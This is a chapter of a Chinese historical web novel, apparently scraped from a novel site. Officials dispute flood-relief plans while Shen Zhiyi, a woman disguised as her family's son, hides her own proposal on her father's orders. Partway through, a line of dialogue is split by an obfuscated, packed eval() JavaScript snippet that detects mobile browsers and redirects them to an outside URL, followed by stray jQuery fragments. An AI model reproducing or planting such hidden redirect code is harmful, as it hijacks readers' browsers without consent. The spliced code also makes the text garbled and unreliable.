17. 纠结
作品:《新科状元是女郎》 然而这个小插曲并没有太久,队伍继续前行,终于在黄昏时分抵达江南府衙。
府衙的庭院里也有点凌乱,里面住满了从周边村落转移来的官兵,空气中弥漫着一股淡淡的霉味与药草的味道。
众人来不及歇息,容砚便立刻下令商议会,府衙的正厅内,烛火摇曳,将所有人的影子映在墙壁上,显得格外凝重。
商议一开始,容砚便拿出拟定好的赈灾细则,声音沉稳:“如今江南灾情紧急,河道淤塞需尽快疏通,安置点的棚屋也需加快搭建。
依原定细则,推行以工代赈,让有劳动能力的灾民参与劳作,按日发放粮草,既能解劳力之困,也能让灾民自食其力。”
他的话音刚落,沈渊阵营的一名官员便立刻出列。
这名官员身着从七品的青色官袍,面色蜡黄,显然是刚从灾区巡查回来,带着一身疲惫,却依旧语气坚定地反驳。
“丞相,如今民夫数量已削减三成,原定计划需五千民夫,如今只剩三千五百人。
若再按原定计划修建堤坝,疏通河道,恐怕工期会延误至少十日,依臣之见,应再增派五百官兵协助,方能确保按时完工,避免后续降雨导致灾情加重。”
“官兵需镇守城池,防备流寇与乱民,岂能随意调动?”容砚眉头微蹙,语气带着几分不赞同。
见官员好似并没打算按照自己计划来,容砚继续补充想要说服他们:“江南多地因灾情出现流民暴动,若抽调守城官兵,城池空虚,一旦发生乱事,后果不堪设想。
民夫数量虽减,但只要合理安排,将民夫分为两班,日夜赶工,再由工部派来的工匠指导,提高效率,定能按时完工。”
“可灾民体弱,日夜赶工恐会出人命!”那名官员毫不退让,声音提高了几分。
说着他眼底满是不屑,只觉得容砚只是一个纸上谈兵之人,根本不了解灾区现状,继续开口:“臣昨日在灾区巡查,见不少灾民连站立都困难!
若强行让他们日夜劳作,怕是会有人累死在工地上,届时不仅会引发民怨,还会让朝廷落下‘草菅人命’的骂名!”
容砚这边的官员没忍住站出来:“你的意思是我们在草菅人命吗?但是河坝一日不修,随时随地都会继续被大水冲垮,到时候下游村民只会死伤更多!”
“可是现在现状就是流民溃散,而且都吃不起饭了,这点粮食,根本不足他们支撑,到时候恐怕民愤更大!这才会引起暴乱!”
……
双方瞬间陷入激烈的争执,府衙正厅内的气氛瞬间紧张起来。
容砚阵营的官员纷纷附和容砚,强调守城重要;沈渊阵营的官员则支持那名官员,主张体恤灾民。
烛火在众人的争执声中剧烈摇曳,将每个人脸上的神色映照得忽明忽暗。
沈知意坐在角落的位置,低着头,手指紧紧攥着身前的桌布,一言不发。
她心中早已清晰地梳理出双方观点中的漏洞。
容砚忽略了灾民的体力极限,强行日夜赶工确实可能引发意外;而沈渊阵营的官员则低估了流寇的威胁,抽调守城官兵风险太大。
她脑中甚至已经有了更合理的方案,将民夫分为三班,每班劳作四个时辰,既保证工期,又不让灾民过度劳累;
同时从随行的五百禁军中抽调一百人,由经验丰富的将领带领,协助维护工地秩序,既不影响守城,又能确保安全。
可父亲的叮嘱犹在耳畔:“在江南灾区,切不可再发表独到见解,只需附和阵营同僚,不可与容砚产生任何交集。”
她咬紧牙关,将到了嘴边的话又咽了回去,只能保持沉默,任由双方争论不休。
容砚的目光几次扫过沈知意,见她始终低着头,长长的睫毛在眼下投出一小片阴影,一副事不关己的模样,心中的烦躁越发强烈。
他知道沈知意定有想法,毕竟在相府拟定细则时,她对民夫调度的细节考虑得极为周全。
他甚至故意提高声音,将问题直接抛给她:“沈大人,你协助本相拟定过细则,对民夫调度与官兵安排也有研究,你以为如何?”
所有人的目光瞬间聚焦在沈知意身上,有期待,有审视,也有来自沈渊阵营官员的警示。
沈知意深吸一口气,缓缓起身,尽量让自己的声音听起来平淡无波:“臣以为,两位大人所言皆有道理,各有考量。
具体方案可交由府衙的官员与工部工匠一同商议,结合江南当地的实际情况,制定出更周全的计划,定夺后再报给丞相与父亲,由两位大人最终决断。”
这番话等于什么都没说,既没有附和任何一方,也没有提出任何实质性的建议,完全是在和稀泥。
容砚看着她,眼中的失望几乎要溢出来,他之前还抱有一丝希望,以为沈知意只是在朝堂上被迫妥协,到了灾区,面对真实的灾情,她会放下阵营之见,拿出自己的才华。
可现在看来,她是真的在刻意疏远他,甚至不惜藏起自己的才华,也要与他划清界限。
会议最终不欢而散,官员们三三两两地离开,各自去处理手头的事务。
容砚站在正厅中央,看着沈知意匆匆离去的背影,指尖无意识地攥紧了拳头,心中的烦躁与愤怒交织在一起。
就在沈知意准备返回临时安排的住处时,一名士兵匆匆跑来,恭敬地说道:“沈大人,沈尚书请您去府衙后院的书房一叙。”
沈知意心中一紧,快步走向后院。
书房内,沈渊正站在窗前,看着外面淅淅沥沥的雨丝,神色凝重。
见沈知意进来,他转过身,语气带着几分急切:“知意,方才接到急报,东南方向的清河县出现大规模流民聚集,恐有暴动风险,为父需亲自前去安抚,稳定局势。”
“父亲,清河县灾情严重,流寇横行,您亲自前去太过危险!”沈知意连忙劝阻,心中满是担忧。
“灾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730430|189640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情危急,顾不得那么多了。”沈渊摆了摆手,语气坚定。
“为父已命人备好马匹,即刻便出发,你留在此地,务必多加小心,尤其是对容砚,万万不可放松警惕。”
他走到沈知意面前,郑重地拍了拍她的肩膀:“为父不在你身边,你更要记住,无论容砚说什么,做什么,都不可轻易相信。
他若让你负责棘手的事务,尽量推脱;若他对你示好,更是要加倍警惕,那都是他拉拢或试探你的手段。
记住,保全自己,保全沈家,比什么都重要。”
“女儿记住了,父亲您也要多加小心,注意安全。”沈知意低声应道,心中满是酸涩。
她知道父亲的担忧并非没有道理,可一想到容砚方才在路边安抚孩童的模样,又忍不住觉得,父亲的警惕或许太过绝对。
沈渊不再多言,拿起早已准备好的行囊,快步走出书房,消失在雨幕中。
沈知意站在原地,听着外面的雨声越来越大,心中的矛盾与忐忑也越发强烈。
刚刚一路的惨状沈知意也看见了,倘若再这样因为所谓阵营争论,那流离失所的百姓又当如何?
而另一边的容砚才考察完回来,他快步走入江南府衙的大门,夜色已悄然笼罩,淅淅沥沥的秋雨带着深秋的寒意,打湿了官员们的官袍。
容砚的下属林参将忍不住追上容砚的脚步,语气中带着几分愤愤不平:“丞相,沈大人今日也太过分了!故意装糊涂和稀泥,这分明是不想与您合作,也不想真心为赈灾出力!”
容砚没有说话,只是询问了当地官员确切的回报,但是比他想象中的的要严重,倒不是灾区严重了,而是现在这边一盘散沙。
官员有为民办事的,但是也有趁其中捞偏门的,特别是这边商人也在扰乱,偶尔的流寇又横行霸道出来抢劫……
“罢了,多说无益。”容砚面色黑沉,终于开口,声音在雨声中显得格外低沉,现在哪件事不比沈知意重要,既然不愿为之所用,容砚也不强求了。
容砚继续安排接来的部署:“明日一早,先派人去河道巡查,看看水情是否有变化,沈大人那边……再等等看吧。”
说完,他便转身走进府衙,留下林参将站在原地,望着雨幕,满脸不解。
而沈知意回到临时安排的住处后,立刻关上房门,背靠着门板,大口喘着气。
胸腔里的心脏还在剧烈跳动,方才在会议上强压下去的冲动,此刻仍在血液里翻涌。
她几乎要忍不住开口,将自己想好的“三班轮岗”方案说出来,可一想到父亲临走前的叮嘱,想到阵营对立的现实,便又强行忍了回去。
她缓缓滑坐在地上,双手抱住膝盖,将脸埋在臂弯里,她知道自己这样做很懦弱,可她别无选择。
作为沈家的“独子”,她不仅要隐藏自己的女儿身,还要在阵营的夹缝中生存,任何一丝疏忽,都可能让自己和整个沈家万劫不复。

